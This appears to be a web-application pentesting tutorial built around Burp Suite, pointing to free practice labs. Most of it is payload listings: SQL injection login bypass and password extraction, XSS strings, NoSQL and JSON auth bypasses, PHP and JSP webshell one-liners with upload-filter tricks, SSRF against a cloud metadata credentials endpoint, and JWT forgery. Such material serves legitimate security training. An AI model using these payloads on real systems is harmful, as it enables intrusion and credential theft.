Burp Suite Complete Guide | Web App Pentesting | Zentrion

Setup & Configuration (5 min)

Burp Suite sits as a proxy between your browser and the target web server, allowing you to intercept and modify traffic.

Download the free Community Edition from PortSwigger. (Alternatively, use OWASP ZAP which is 100% open-source).
Launch Burp Suite using default settings.
Install the CA Certificate:
- In Burp, go to Proxy → Options → Export CA Certificate.
- Import this certificate into your browser (e.g., Firefox: Settings → Privacy → View Certificates). This allows Burp to intercept HTTPS traffic without throwing errors.
Configure Proxy: Set your browser proxy (or use an extension like FoxyProxy) to route traffic through 127.0.0.1 on port 8080.

1. Intercept & Modify Requests

The core of Burp Suite is the Repeater tab. Once you intercept a request in the Proxy tab, hit Ctrl+R (or Right Click → Send to Repeater) to manipulate it repeatedly.

Modifying GET Parameters

# Original request:
GET /page?id=1 HTTP/1.1

# Try manipulating the ID parameter:
GET /page?id=2
GET /page?id=-1
GET /page?id=1+1
GET /page?id=1%27        # Appending a single quote to test for SQLi
GET /page?id=1%20OR%201=1

Modifying POST Data

# In the Request body:
username=admin&password=admin'--
username=admin&password='OR'1'='1
username=admin%00&password=anything

2. SQL Injection (Manual)

Send the target request to Repeater and inject these payloads directly into the URL parameters or POST bodies.

# Basic Auth Bypass
http://target.com/login?user=admin'--
http://target.com/login?user=admin' AND 1=1--
http://target.com/login?user=admin' AND 1=2--

# UNION Based (Discovering columns)
http://target.com/products?id=1' UNION SELECT NULL--
http://target.com/products?id=1' UNION SELECT NULL,NULL--
http://target.com/products?id=-1' UNION SELECT 1,2,3,4,5--

# Extracting Data (MySQL)
http://target.com/products?id=-1' UNION SELECT table_name,2,3 FROM information_schema.tables--
http://target.com/products?id=-1' UNION SELECT column_name,2,3 FROM information_schema.columns WHERE table_name='users'--
http://target.com/products?id=-1' UNION SELECT username,password,3 FROM users--

# Time-based Blind (If no output is visible)
http://target.com/products?id=1' AND SLEEP(5)--
http://target.com/products?id=1' AND IF(1=1,SLEEP(5),0)--

3. XSS (Cross-Site Scripting)

Test input fields, headers, and URL parameters for reflection.

# Standard Payloads
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>

# Bypassing filters
"><script>alert(1)</script>
javascript:alert(1)
onerror=alert(1)
<body onload=alert(1)>

4. IDOR (Insecure Direct Object Reference)

IDOR occurs when access control is not checked on the server side. You must have two accounts (User A and User B) to test this effectively.

# 1. Find object IDs in URLs or bodies:
http://target.com/profile?id=123

# 2. Change the ID while logged in as User A:
http://target.com/profile?id=124
http://target.com/profile?id=1
http://target.com/profile?id=0
http://target.com/profile?id=-1

# If User A can see User B's private profile = Vulnerable.

5. Authentication Bypass

APIs processing JSON are notorious for poor type checking.

# Original Request
POST /login HTTP/1.1
Content-Type: application/json

{"username":"admin","password":"password123"}

# Try Type Confusion / Bypass Payloads:
{"username":"admin","password":""}
{"username":"","password":""}
{"username":"admin'--","password":"x"}
{"username":"admin","password":null}
{"username":"admin","password":["a","b"]}
{"username":"admin","password":{"$gt": ""}} # NoSQL Injection bypass

6. File Upload Vulnerabilities

When you encounter a profile picture or file upload feature, attempt to upload a Web Shell.

# 1. Prepare webshells for different backends:
shell.php (PHP: <?php system($_GET['cmd']); ?>)
shell.jsp (Java: <% Runtime.getRuntime().exec(request.getParameter("cmd")); %>)
shell.aspx (.NET)

# 2. Attempt Extension Bypasses in Burp Repeater:
shell.php.jpg (double extension)
shell.php%00.jpg (null byte injection)
shell.php. (trailing dot)
shell.PHP (case bypass)

7. SSRF (Server-Side Request Forgery)

Force the target server to make internal HTTP requests on your behalf.

# Target URL processing external URLs:
http://target.com/fetch?url=http://example.com

# Change parameter to internal networks:
http://target.com/fetch?url=http://127.0.0.1
http://target.com/fetch?url=http://localhost:8080

# Cloud Metadata Extraction (AWS/GCP/Azure)
http://target.com/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/

8. JWT (JSON Web Token) Attacks

If you see a token in the Authorization: Bearer header, it's likely a JWT. Decode the middle Base64 block.

# Common JWT Manipulation in Burp
1. Change "alg":"HS256" to "alg":"none" in the header, remove signature.
2. Change payload "role":"user" to "role":"admin"
3. Attempt offline brute-forcing of the secret using 'jwt_tool'

# Using free open-source jwt_tool
pip install jwt_tool
jwt_tool -C -p "secret" token_here
jwt_tool -X HS256 -d '{"role":"admin"}' token_here

Free Practice Labs (Legal Environments)

PortSwigger Web Security Academy — 100% free, interactive labs created by the makers of Burp Suite.
Damn Vulnerable Web App (DVWA) — Spin up via Docker and practice locally.
OWASP Juice Shop — A fully modern, intentionally vulnerable eCommerce site.

Burp Suite Complete Guide – Web App Pentesting (40+ Techniques)